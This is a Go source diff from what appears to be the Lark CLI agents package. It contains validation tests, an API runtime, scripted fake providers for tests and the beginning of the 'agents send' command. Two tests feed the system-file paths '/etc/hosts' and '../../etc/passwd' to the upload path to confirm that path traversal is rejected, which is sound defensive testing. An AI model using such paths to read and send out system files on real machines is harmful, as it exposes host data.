if got := vp.Resolved[tc.key]; got != tc.want {
t.Errorf("%s: resolved[%s] = %q, want canonical %q", tc.kv, tc.key, got, tc.want)
}
if got := vp.Given[tc.key]; got != tc.want {
t.Errorf("%s: given[%s] = %q, want canonical %q (the carry reads Given)", tc.kv, tc.key, got, tc.want)
}
}
}
// TestUnknownParamSuggestionsNearest pins the typo teaching: a near-miss key
// suggests the nearest declared names first (edit distance ≤ 2), not the full
// declaration-order table; a cross-verb hit keeps suggestions empty (a verb
// name is not a substitutable param name — the reason sentence teaches it).
func TestUnknownParamSuggestionsNearest(t *testing.T) {
spec := paramSpec()
_, err := validateParams([]string{"workspce_id=w"}, spec.Send.Params, iagents.VerbSend, spec, "acme:x")
verr := asValidationErr(t, err)
if len(verr.Params) != 2 { // unknown + missing-required workspace_id
t.Fatalf("want 2 violations, got %+v", verr.Params)
}
var sugg []string
for _, p := range verr.Params {
if p.Name == "workspce_id" {
sugg = p.Suggestions
}
}
if len(sugg) == 0 || sugg[0] != "workspace_id" {
t.Errorf("typo suggestions should lead with the nearest name, got %v", sugg)
}
if len(sugg) >= len(spec.Send.Params) {
t.Errorf("near-miss suggestions should be filtered, not the full table: %v", sugg)
}
// Cross-verb: task_list declares workspace_id? no — send-only param priority
// used against task_list reverse-looks-up to send.
_, err = validateParams([]string{"priority=high"}, spec.ListTasks.Params, iagents.VerbTaskList, spec, "acme:x")
verr = asValidationErr(t, err)
for _, p := range verr.Params {
if p.Name == "priority" {
if len(p.Suggestions) != 0 {
t.Errorf("cross-verb suggestions must not carry verb names, got %v", p.Suggestions)
}
if !strings.Contains(p.Reason, "声明在") {
t.Errorf("cross-verb reason should teach where it is declared, got %q", p.Reason)
}
}
}
}
func asValidationErr(t *testing.T, err error) *errs.ValidationError {
t.Helper()
if err == nil {
t.Fatal("expected a validation error")
}
verr, ok := err.(*errs.ValidationError)
if !ok {
t.Fatalf("want *errs.ValidationError, got %T: %v", err, err)
}
return verr
}
// TestNextForTaskNoSelfLoop pins that a terminal task viewed via task get does
// not suggest the very command just executed; artifact downloads remain.
func TestNextForTaskNoSelfLoop(t *testing.T) {
spec := &iagents.AgentSpec{
Send: iagents.SendOp{Handler: func(context.Context, iagents.Runtime, iagents.SendInput) (*iagents.AgentTask, error) { return nil, nil }},
GetTask: iagents.TaskGetOp{Handler: func(context.Context, iagents.Runtime, string) (*iagents.AgentTask, error) { return nil, nil }},
DownloadArtifact: iagents.ArtifactDownloadOp{
Handler: func(context.Context, iagents.Runtime, string, string) (*iagents.ArtifactData, error) { return nil, nil },
},
}
task := &iagents.AgentTask{
TaskID: "task_1", State: iagents.StateCompleted, IsTerminal: true,
Artifacts: []iagents.Artifact{{ID: "art_1", Kind: "text"}},
}
// Viewed from send: the detail suggestion IS the increment — keep it.
fromSend := nextForTask("example:x", task, spec, nil, iagents.VerbSend)
if len(fromSend) < 1 || !strings.Contains(fromSend[0].Command, "task get example:x task_1") {
t.Fatalf("send caller should keep the detail suggestion, got %+v", fromSend)
}
// Viewed from task get: the detail suggestion is a self-loop — drop it.
fromGet := nextForTask("example:x", task, spec, nil, iagents.VerbTaskGet)
for _, n := range fromGet {
if !n.Template && strings.Contains(n.Command, "task get example:x task_1") && !strings.Contains(n.Command, "--artifact") {
t.Errorf("task get caller must not re-suggest itself, got %+v", fromGet)
}
}
found := false
for _, n := range fromGet {
if strings.Contains(n.Command, "--artifact art_1") {
found = true
}
}
if !found {
t.Errorf("artifact download should survive the self-loop removal, got %+v", fromGet)
}
// No artifacts + task get caller → genuinely nothing to add.
bare := &iagents.AgentTask{TaskID: "task_2", State: iagents.StateCompleted, IsTerminal: true}
if next := nextForTask("example:x", bare, spec, nil, iagents.VerbTaskGet); len(next) != 0 {
t.Errorf("no increment should yield no next, got %+v", next)
}
}

View File

@@ -1,139 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"strings"
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/validate"
"github.com/larksuite/cli/internal/vfs"
)
// cmdRuntime is the concrete iagents.Runtime: it routes provider hook calls
// through the shared client.APIClient under a pinned identity (mirrors event's
// consumeRuntime in cmd/event/runtime.go). Provider code never sees the client,
// the identity resolution, or the response-envelope unwrap — that is exactly the
// plumbing the old Deps struct leaked.
type cmdRuntime struct {
client *client.APIClient
as core.Identity
agentID string
params map[string]string // validated business params (defaults backfilled)
}
func (r *cmdRuntime) AgentID() string { return r.agentID }
func (r *cmdRuntime) IsBot() bool { return r.as == core.AsBot }
// Params returns a copy of the validated business parameters, so a hook cannot
// corrupt framework state (see the Runtime.Params contract in internal/agent).
func (r *cmdRuntime) Params() map[string]string {
out := make(map[string]string, len(r.params))
for k, v := range r.params {
out[k] = v
}
return out
}
func (r *cmdRuntime) CallAPI(ctx context.Context, method, path string, query map[string]string, body any) (json.RawMessage, error) {
var params map[string]interface{}
if len(query) > 0 {
params = make(map[string]interface{}, len(query))
for k, v := range query {
params[k] = v
}
}
return r.do(ctx, client.RawApiRequest{Method: method, URL: path, Params: params, Data: body, As: r.as})
}
func (r *cmdRuntime) CallMultipart(ctx context.Context, method, path string, fields map[string]string, files []iagents.FilePart) (json.RawMessage, error) {
fd := larkcore.NewFormdata()
for k, v := range fields {
fd.AddField(k, v)
}
for _, fp := range files {
// SafeInputPath is the framework-owned security check (no path traversal /
// outside CWD); a provider must never re-implement it.
resolved, err := validate.SafeInputPath(fp.Path)
if err != nil {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: %v", err).
WithParam("--file").WithCause(err)
}
f, err := vfs.Open(resolved)
if err != nil {
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--file: 无法打开 %s: %v", fp.Path, err).
WithParam("--file").WithCause(err)
}
// Closed when CallMultipart returns, i.e. after do()'s request has read the
// body — deferring in the loop keeps every file open for the request.
defer f.Close()
fd.AddFile(fp.Field, f)
}
return r.do(ctx, client.RawApiRequest{
Method: method, URL: path, Data: fd, As: r.as,
ExtraOpts: []larkcore.RequestOptionFunc{larkcore.WithFileUpload()},
})
}
// do is the shared DoAPI → ParseJSONResponse → CheckResponse → unwrap-"data"
// path. It returns the "data" sub-object as raw JSON (the typed Call[T]/
// CallUpload[T] helpers decode it). Identity is sealed in r.as and never handed
// out; any non-typed transport error is classified here so hooks only ever see
// typed errs.* values.
func (r *cmdRuntime) do(ctx context.Context, req client.RawApiRequest) (json.RawMessage, error) {
resp, err := r.client.DoAPI(ctx, req)
if err != nil {
if _, ok := errs.ProblemOf(err); ok {
return nil, err
}
return nil, errs.NewNetworkError(errs.SubtypeNetworkTransport, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
}
result, err := client.ParseJSONResponse(resp)
if err != nil {
if _, ok := errs.ProblemOf(err); ok {
return nil, err
}
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: %s", req.Method, req.URL, err).WithCause(err)
}
if top, ok := result.(map[string]interface{}); ok {
topLogID, _ := top["log_id"].(string)
var nestedLogID string
if errBlock, ok := top["error"].(map[string]interface{}); ok {
nestedLogID, _ = errBlock["log_id"].(string)
}
for _, candidate := range []string{
topLogID,
nestedLogID,
resp.Header.Get(larkcore.HttpHeaderKeyLogId),
resp.Header.Get(larkcore.HttpHeaderKeyRequestId),
} {
if logID := strings.TrimSpace(candidate); logID != "" {
// CheckResponse classifies errors from the top-level envelope, so
// always promote the selected ID there in its normalized form.
top["log_id"] = logID
break
}
}
}
if apiErr := r.client.CheckResponse(result, r.as); apiErr != nil {
return nil, apiErr
}
top, _ := result.(map[string]interface{})
dataVal, ok := top["data"]
if !ok || dataVal == nil {
return nil, nil // no "data" (e.g. a pure write) — callers get the zero value
}
raw, err := json.Marshal(dataVal)
if err != nil {
return nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "api %s %s: re-encode data: %s", req.Method, req.URL, err).WithCause(err)
}
return raw, nil
}

View File

@@ -1,278 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"encoding/json"
"errors"
"io"
"net/http"
"strings"
"testing"
lark "github.com/larksuite/oapi-sdk-go/v3"
larkcore "github.com/larksuite/oapi-sdk-go/v3/core"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/credential"
)
// staticTokenResolver always returns a fixed token without any HTTP call.
type staticTokenResolver struct{}
func (s *staticTokenResolver) ResolveToken(_ context.Context, _ credential.TokenSpec) (*credential.TokenResult, error) {
return &credential.TokenResult{Token: "test-token"}, nil
}
// stubRoundTripper intercepts every outgoing request with a canned response.
type stubRoundTripper struct {
respond func(*http.Request) (*http.Response, error)
}
func (s stubRoundTripper) RoundTrip(r *http.Request) (*http.Response, error) { return s.respond(r) }
// newTestCmdRuntime builds a cmdRuntime whose client routes every request through
// rt (mirrors cmd/event/runtime_test.go's consumeRuntime harness). Identity is
// pinned to as; agentID is fixed.
func newTestCmdRuntime(rt http.RoundTripper, as core.Identity, agentID string) *cmdRuntime {
sdk := lark.NewClient("test-app", "test-secret",
lark.WithEnableTokenCache(false),
lark.WithLogLevel(larkcore.LogLevelError),
lark.WithHttpClient(&http.Client{Transport: rt}),
)
return &cmdRuntime{
client: &client.APIClient{
SDK: sdk,
ErrOut: io.Discard,
Credential: credential.NewCredentialProvider(nil, nil, &staticTokenResolver{}, nil),
Config: &core.CliConfig{AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu},
},
as: as,
agentID: agentID,
}
}
func jsonResponse(status int, body string) func(*http.Request) (*http.Response, error) {
return func(r *http.Request) (*http.Response, error) {
return &http.Response{
StatusCode: status,
Header: http.Header{"Content-Type": []string{"application/json"}},
Body: io.NopCloser(strings.NewReader(body)),
Request: r,
}, nil
}
}
// TestCmdRuntime_IdentityAndAgentID pins invariant #4: the resolved identity is
// surfaced only via IsBot() (never the raw client), and AgentID echoes the
// addressed agent.
func TestCmdRuntime_IdentityAndAgentID(t *testing.T) {
bot := newTestCmdRuntime(stubRoundTripper{}, core.AsBot, "agt_1")
if !bot.IsBot() {
t.Error("bot runtime should report IsBot()=true")
}
if bot.AgentID() != "agt_1" {
t.Errorf("AgentID should be agt_1, got %q", bot.AgentID())
}
usr := newTestCmdRuntime(stubRoundTripper{}, core.AsUser, "agt_2")
if usr.IsBot() {
t.Error("user runtime should report IsBot()=false")
}
}
// TestCmdRuntime_CallAPI_UnwrapsData pins do(): a 200 OAPI envelope with code=0
// returns the raw "data" object (not the whole envelope), and the typed Call[T]
// helper decodes that raw data into a struct.
func TestCmdRuntime_CallAPI_UnwrapsData(t *testing.T) {
rt := stubRoundTripper{respond: jsonResponse(200, `{"code":0,"msg":"ok","data":{"task_id":"t1","state":"completed"}}`)}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
raw, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
if err != nil {
t.Fatalf("CallAPI should succeed: %v", err)
}
var data map[string]any
if err := json.Unmarshal(raw, &data); err != nil {
t.Fatalf("CallAPI should return the raw data object as valid JSON: %v", err)
}
if data["task_id"] != "t1" || data["state"] != "completed" {
t.Errorf("CallAPI should return the unwrapped data object, got %+v", data)
}
// The typed Call[T] helper decodes that same raw data into a struct — no
// map[string]any assertions at the call site.
got, err := iagents.Call[struct {
TaskID string `json:"task_id"`
State string `json:"state"`
}](context.Background(), r, "GET", "/open-apis/example/v1/tasks/t1", nil, nil)
if err != nil {
t.Fatalf("Call[T] should succeed: %v", err)
}
if got.TaskID != "t1" || got.State != "completed" {
t.Errorf("Call[T] should decode data into the struct, got %+v", got)
}
}
// TestCmdRuntime_CallAPI_APIError pins that a non-zero code becomes a typed error
// (CheckResponse), not a silent success.
func TestCmdRuntime_CallAPI_APIError(t *testing.T) {
rt := stubRoundTripper{respond: jsonResponse(200, `{"code":1254043,"msg":"task not found"}`)}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
if _, err := r.CallAPI(context.Background(), "GET", "/open-apis/example/v1/tasks/nope", nil, nil); err == nil {
t.Fatal("a non-zero API code should surface as an error")
} else if _, ok := errs.ProblemOf(err); !ok {
t.Fatalf("API error should be a typed errs error, got %T: %v", err, err)
}
}
// TestCmdRuntime_CallAPI_HeaderOnlyLogID pins that the Agent runtime lifts the
// response-header log ID into the typed error when the JSON body omits log_id.
func TestCmdRuntime_CallAPI_HeaderOnlyLogID(t *testing.T) {
for _, tc := range []struct {
name string
body string
header string
}{
{name: "x-tt-logid", body: `{"code":5000,"msg":""}`, header: larkcore.HttpHeaderKeyLogId},
{name: "request-id fallback", body: `{"code":5000,"msg":""}`, header: larkcore.HttpHeaderKeyRequestId},
{name: "invalid body log ids", body: `{"code":5000,"msg":"","log_id":123,"error":{"log_id":" "}}`, header: larkcore.HttpHeaderKeyLogId},
} {
t.Run(tc.name, func(t *testing.T) {
rt := stubRoundTripper{respond: func(r *http.Request) (*http.Response, error) {
resp, err := jsonResponse(200, tc.body)(r)
resp.Header.Set(tc.header, "header-log-123")
return resp, err
}}
r := newTestCmdRuntime(rt, core.AsUser, "agt_1")
_, err := r.CallAPI(context.Background(), "POST", "/open-apis/base/v3/bases/b1/ai/agents/assistant/messages", nil, map[string]any{"text": "hi"})
if err == nil {
t.Fatal("a non-zero API code should surface as an error")
}
p, ok := errs.ProblemOf(err)
if !ok {
t.Fatalf("API error should be typed, got %T: %v", err, err)
}
if p.LogID != "header-log-123" {
t.Errorf("LogID = %q, want header-log-123", p.LogID)
}
})
}
}
// TestCmdRuntime_CallAPI_BodyLogIDTakesPrecedence pins that a body-provided
// log_id remains authoritative when the response header carries another ID.
func TestCmdRuntime_CallAPI_BodyLogIDTakesPrecedence(t *testing.T) {
for _, tc := range []struct {
name string
body string
want string
}{
{name: "top-level", body: `{"code":5000,"msg":"","log_id":"body-log-456"}`, want: "body-log-456"},
{name: "top-level trimmed", body: `{"code":5000,"msg":"","log_id":" body-log-456 "}`, want: "body-log-456"},
{name: "nested error", body: `{"code":5000,"msg":"","error":{"log_id":"body-log-456"}}`, want: "body-log-456"},
{name: "top-level whitespace falls back to nested", body: `{"code":5000,"msg":"","log_id":" ","error":{"log_id":" nested-log-789 "}}`, want: "nested-log-789"},
} {
t.Run(tc.name, func(t *testing.T) {
rt := stubRoundTripper{respond: func(r *http.Request) (*http.Response, error) {
resp, err := jsonResponse(200, tc.body)(r)
resp.Header.Set(larkcore.HttpHeaderKeyLogId, "header-log-123")
return resp, err
}}
r := newTestCmdRuntime(rt, core.AsUser, "agt_1")
_, err := r.CallAPI(context.Background(), "POST", "/open-apis/base/v3/bases/b1/ai/agents/assistant/messages", nil, map[string]any{"text": "hi"})
if err == nil {
t.Fatal("a non-zero API code should surface as an error")
}
p, ok := errs.ProblemOf(err)
if !ok {
t.Fatalf("API error should be typed, got %T: %v", err, err)
}
if p.LogID != tc.want {
t.Errorf("LogID = %q, want %q", p.LogID, tc.want)
}
})
}
}
// TestCmdRuntime_CallAPI_TransportError pins the transport-error branch: a
// RoundTrip failure is classified as a network transport error.
func TestCmdRuntime_CallAPI_TransportError(t *testing.T) {
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
return nil, errors.New("dial refused")
}}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
_, err := r.CallAPI(context.Background(), "POST", "/open-apis/example/v1/messages", nil, map[string]any{"text": "hi"})
if err == nil {
t.Fatal("a transport error should propagate")
}
p, ok := errs.ProblemOf(err)
if !ok || p.Category != errs.CategoryNetwork {
t.Fatalf("transport error should be a network error, got %+v", p)
}
}
// TestCmdRuntime_CallMultipart_RejectsUnsafePath pins invariant #5: CallMultipart
// SafeInputPath-validates every --file BEFORE opening it, so an absolute /
// traversal path is rejected as invalid_argument (param --file) and NO request
// is issued (the transport panics if reached).
func TestCmdRuntime_CallMultipart_RejectsUnsafePath(t *testing.T) {
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
t.Fatal("no request should be issued when the --file path is unsafe")
return nil, nil
}}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
for _, bad := range []string{"/etc/hosts", "../../etc/passwd"} {
_, err := r.CallMultipart(context.Background(), "POST", "/open-apis/example/v1/attachments",
map[string]string{"type": "file"},
[]iagents.FilePart{{Field: "file", Path: bad}})
if err == nil {
t.Fatalf("an unsafe --file path %q should be rejected", bad)
}
if !errs.IsValidation(err) {
t.Fatalf("unsafe path %q should be a validation error, got %T: %v", bad, err, err)
}
var ve *errs.ValidationError
if !errors.As(err, &ve) || ve.Param != "--file" {
t.Errorf("unsafe path %q should carry param --file, got %+v", bad, ve)
}
}
}
// TestCmdRuntime_CallUpload_PropagatesError pins the typed CallUpload[T] helper
// (the multipart counterpart of Call[T]): when CallMultipart rejects an unsafe
// --file path, CallUpload propagates that validation error and returns the zero
// value of T without attempting a decode. Mirrors the Call[T] coverage in
// TestCmdRuntime_CallAPI_UnwrapsData so both typed entry points a provider uses
// are exercised, not just the JSON one.
func TestCmdRuntime_CallUpload_PropagatesError(t *testing.T) {
rt := stubRoundTripper{respond: func(*http.Request) (*http.Response, error) {
t.Fatal("no request should be issued when the --file path is unsafe")
return nil, nil
}}
r := newTestCmdRuntime(rt, core.AsBot, "agt_1")
got, err := iagents.CallUpload[struct {
AttachmentID string `json:"attachment_id"`
}](context.Background(), r, "POST", "/open-apis/example/v1/attachments",
map[string]string{"type": "file"},
[]iagents.FilePart{{Field: "file", Path: "/etc/hosts"}})
if err == nil {
t.Fatal("CallUpload with an unsafe --file path should error")
}
if !errs.IsValidation(err) {
t.Fatalf("CallUpload should propagate the validation error, got %T: %v", err, err)
}
if got.AttachmentID != "" {
t.Errorf("CallUpload should return the zero value of T on error, got %+v", got)
}
}

View File

@@ -1,195 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"sync"
"testing"
iagents "github.com/larksuite/cli/internal/agents"
)
// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
// one AgentSpec verb; an unset hook that gets called panics — a tripwire against
// a test reaching an unexpected provider path. The command-layer contracts under
// test (envelope shape, watch exit codes, meta.next, pretty rendering, error
// propagation) are provider-neutral, so the scripted hooks ignore the Runtime.
type scriptedHooks struct {
send func(in iagents.SendInput) (*iagents.AgentTask, error)
getTask func(taskID string) (*iagents.AgentTask, error)
listTasks func(contextID string, page iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error)
listContexts func(page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error)
getContext func(ctxID string) (*iagents.ContextDetail, error)
deleteContext func(ctxID string) error
cancelTask func(taskID string) error
downloadArtifact func(taskID, artifactID string) (*iagents.ArtifactData, error)
}
// scripted is the package-level hook set shared by every scripted instance (the
// registered provider is fixed per package run, the hooks can be re-pointed).
var scripted scriptedHooks
// fakeUserOnlyDescribe is a test seam for the user-only provider's optional
// dynamic Card enrichment. Card tests use it to prove an unsupported identity
// gets the static card without invoking Describe, while a supported identity
// may enrich it.
var fakeUserOnlyDescribe func(iagents.Runtime) (*iagents.CardInfo, error)
// setScripted installs the hooks for one test and restores the empty (panic
// tripwire) set on cleanup.
func setScripted(t *testing.T, h scriptedHooks) {
t.Helper()
scripted = h
t.Cleanup(func() { scripted = scriptedHooks{} })
}
// scriptedSpec is the instance template whose capability surface is fixed by
// which hooks are wired: everything the command tests drive is wired (the
// task_cancel unsupported gate is exercised via example:echo, whose spec leaves
// it unwired), FileInput=true so the --file gate/confirm path is reachable, and
// InputRequired=true so the --answer capability gate passes (Register requires
// a question-asking spec to wire CancelTask, hence the cancel hook). Each wired
// hook delegates to the per-test hook and panics if it was not set.
func scriptedSpec() *iagents.AgentSpec {
return &iagents.AgentSpec{
FileInput: true,
InputRequired: true,
CancelTask: iagents.TaskCancelOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) error {
if scripted.cancelTask == nil {
panic("scripted provider: CancelTask hook not set")
}
return scripted.cancelTask(taskID)
}},
Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, in iagents.SendInput) (*iagents.AgentTask, error) {
if scripted.send == nil {
panic("scripted provider: Send hook not set")
}
return scripted.send(in)
}},
GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID string) (*iagents.AgentTask, error) {
if scripted.getTask == nil {
panic("scripted provider: GetTask hook not set")
}
return scripted.getTask(taskID)
}},
ListTasks: iagents.TaskListOp{Handler: func(_ context.Context, _ iagents.Runtime, contextID string, page iagents.PageParams) ([]iagents.TaskSummary, iagents.PageInfo, error) {
if scripted.listTasks == nil {
panic("scripted provider: ListTasks hook not set")
}
return scripted.listTasks(contextID, page)
}},
ListContexts: iagents.ContextListOp{Handler: func(_ context.Context, _ iagents.Runtime, page iagents.PageParams) ([]iagents.ContextSummary, iagents.PageInfo, error) {
if scripted.listContexts == nil {
panic("scripted provider: ListContexts hook not set")
}
return scripted.listContexts(page)
}},
GetContext: iagents.ContextGetOp{Handler: func(_ context.Context, _ iagents.Runtime, ctxID string) (*iagents.ContextDetail, error) {
if scripted.getContext == nil {
panic("scripted provider: GetContext hook not set")
}
return scripted.getContext(ctxID)
}},
DeleteContext: iagents.ContextDeleteOp{Handler: func(_ context.Context, _ iagents.Runtime, ctxID string) error {
if scripted.deleteContext == nil {
panic("scripted provider: DeleteContext hook not set")
}
return scripted.deleteContext(ctxID)
}},
DownloadArtifact: iagents.ArtifactDownloadOp{Handler: func(_ context.Context, _ iagents.Runtime, taskID, artifactID string) (*iagents.ArtifactData, error) {
if scripted.downloadArtifact == nil {
panic("scripted provider: DownloadArtifact hook not set")
}
return scripted.downloadArtifact(taskID, artifactID)
}},
}
}
func scriptedUserOnlySpec() *iagents.AgentSpec {
spec := scriptedSpec()
spec.Describe = func(_ context.Context, rt iagents.Runtime) (*iagents.CardInfo, error) {
if fakeUserOnlyDescribe == nil {
panic("scripted user-only provider: Describe hook not set")
}
return fakeUserOnlyDescribe(rt)
}
return spec
}
// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
// provider, sorted — the all-or-nothing preflight requires every one for any
// real API verb.
var fakescopedAllScopes = []string{
"fakescoped:agent_artifact:read",
"fakescoped:agent_attachment:write",
"fakescoped:agent_chat:read",
"fakescoped:agent_chat:write",
}
// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
// the non-enumerable `agents list <scheme>` error surfaces it as the hint.
const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id形如 agt_xxx"
// minimalSpec is the least-capable legal instance template: only the two core
// verbs are wired (with tripwire handlers — these tests never reach them), so
// every optional verb is honestly unsupported. It is the vehicle for
// unwired-verb shape/ordering tests now that scriptedSpec wires everything.
func minimalSpec() *iagents.AgentSpec {
return &iagents.AgentSpec{
Send: iagents.SendOp{Handler: func(_ context.Context, _ iagents.Runtime, _ iagents.SendInput) (*iagents.AgentTask, error) {
panic("fakemin provider: not callable")
}},
GetTask: iagents.TaskGetOp{Handler: func(_ context.Context, _ iagents.Runtime, _ string) (*iagents.AgentTask, error) {
panic("fakemin provider: not callable")
}},
}
}
// registerScripted registers the scripted schemes exactly once (Register panics
// on duplicates). All are instance-type (agent_id is arbitrary), and not
// enumerable (no ListAgents hook). They leak into the package-level registry for
// the rest of this package run — so no test may assert an exact provider set.
//
// - fakeflow: no RequiredScopes (preflight always passes) — the workhorse.
// - fakescoped: a 4-scope RequiredScopes set, for the scope-preflight tests.
// - fakemin: the same 4-scope set on the minimal spec — the vehicle for
// unwired-verb gating (its capability gate must answer before preflight).
// - fakeuseronly: no RequiredScopes, user identity only.
var registerScriptedOnce sync.Once
func registerScripted() {
registerScriptedOnce.Do(func() {
iagents.Register(iagents.Provider{
Scheme: "fakeflow",
Label: "test fake (scripted flow)",
AgentIDSource: fakeflowAgentIDSource,
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Instance: scriptedSpec(),
})
iagents.Register(iagents.Provider{
Scheme: "fakescoped",
Label: "test fake (scoped)",
AgentIDSource: "test only",
RequiredScopes: fakescopedAllScopes,
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Instance: scriptedSpec(),
})
iagents.Register(iagents.Provider{
Scheme: "fakemin",
Label: "test fake (minimal caps)",
AgentIDSource: "test only",
RequiredScopes: fakescopedAllScopes,
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}, {Type: iagents.IdentityBot}},
Instance: minimalSpec(),
})
iagents.Register(iagents.Provider{
Scheme: "fakeuseronly",
Label: "test fake (user only)",
AgentIDSource: "test only",
Identities: []iagents.IdentitySpec{{Type: iagents.IdentityUser}},
Instance: scriptedUserOnlySpec(),
})
})
}

View File

@@ -1,598 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"fmt"
"os"
"regexp"
"strings"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/validate"
)
// sendOptions holds all inputs for `agents send <ref>`.
type sendOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
Text string
Files []string
Params []string
ContextID string
TaskID string
Answers []string // raw --answer key=value entries, argv order
DryRun bool
Yes bool
As string
Format string
}
// NewCmdAgentSend builds `agents send <agent_ref>`: send a message to a remote
// agent, starting a new task or continuing an existing one. `--dry-run`
// validates the inputs against the agent Card and prints the request preview
// without any API call (always available). A send fires and returns the
// current task immediately; poll progress with
// `agents task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
// `--file` uploads local files to the remote agent — the content leaves this
// machine. Risk=write. runF, when non-nil, replaces the production run path
// (test seam).
func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
opts := &sendOptions{Factory: f}
cmd := &cobra.Command{
Use: "send <agent_ref>",
Short: "Send a message to a remote agent (start a new task or continue an existing one)",
Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
"with --context-id (optionally --task-id) it continues the same multi-turn context; with --answer it answers the task's pending input_required question group. " +
"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
"poll progress with agents task get <agent_ref> <task-id> --watch (see meta.next).",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
if runF != nil {
return runF(opts)
}
return agentSendRun(opts)
},
}
cmd.Flags().StringVar(&opts.Text, "text", "", "消息的自由文本部分:起任务/续聊的正文,或随 --answer 的整体附言(--text 永远不是某道题的答案)")
cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径,可重复;文件会被上传到远端 provider内容离开本机")
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id续发同一会话")
cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发(须与 --context-id 一起用)")
cmd.Flags().StringArrayVar(&opts.Answers, "answer", nil, "回答 input_required 问题组,可重复:给选项键用 <question_id>=<option_id>(多选重复同 key给文字用 <question_id>.text=<文本>;须与 --context-id/--task-id 一起用")
cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览,不调用 API")
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端(不加则 exit 10不上传")
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
if f != nil {
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
} else {
// f is nil only in construction-time unit tests; register a bare --as so
// the flag surface is still assertable without a Factory.
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
}
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
return cmd
}
// sendMode is send's semantic mode, derived from the flags by a fixed priority
// (the user never passes a mode). The discriminator formalizes what the guards
// enforce: answer needs the pending group's task+context and takes --answer
// entries (with --text as an optional message-level remark); continue/start
// need --text.
type sendMode string
const (
modeStart sendMode = "start" // no context/task/answers — a fresh task
modeContinue sendMode = "continue" // has context (optionally task) — same conversation
modeAnswer sendMode = "answer" // has --answer entries — input_required group reply
)
// answerKeyPattern is the offline --answer key grammar: a KeyPattern-conforming
// question id plus at most one case-sensitive ".text" suffix. Anything else —
// ".txt", ".TEXT", a bare ".text", two dots, a '-'-leading flag-lookalike — is
// rejected before any network access, because the only two legal key shapes are
// <qid> and <qid>.text and a near-miss silently becoming an unknown question_id
// at the provider would send the AI down the wrong recovery branch.
var answerKeyPattern = regexp.MustCompile(`^` + iagents.KeyCharsetRE + `(\.text)?$`)
// parseAnswers parses the raw --answer key=value entries into the §10.1 map
// encoding (values in argv order), running every offline guard in one
// collect-all pass so a multi-error submission is fixed in one round-trip:
// key=value shape, key grammar, non-empty value, no duplicate .text entry per
// question. Exact duplicate bare values are deduplicated (an AI retry glitch is
// idempotent, not an error). Semantic validation (does the qid exist, is the
// value a legal option) is deliberately NOT here — the CLI is stateless and
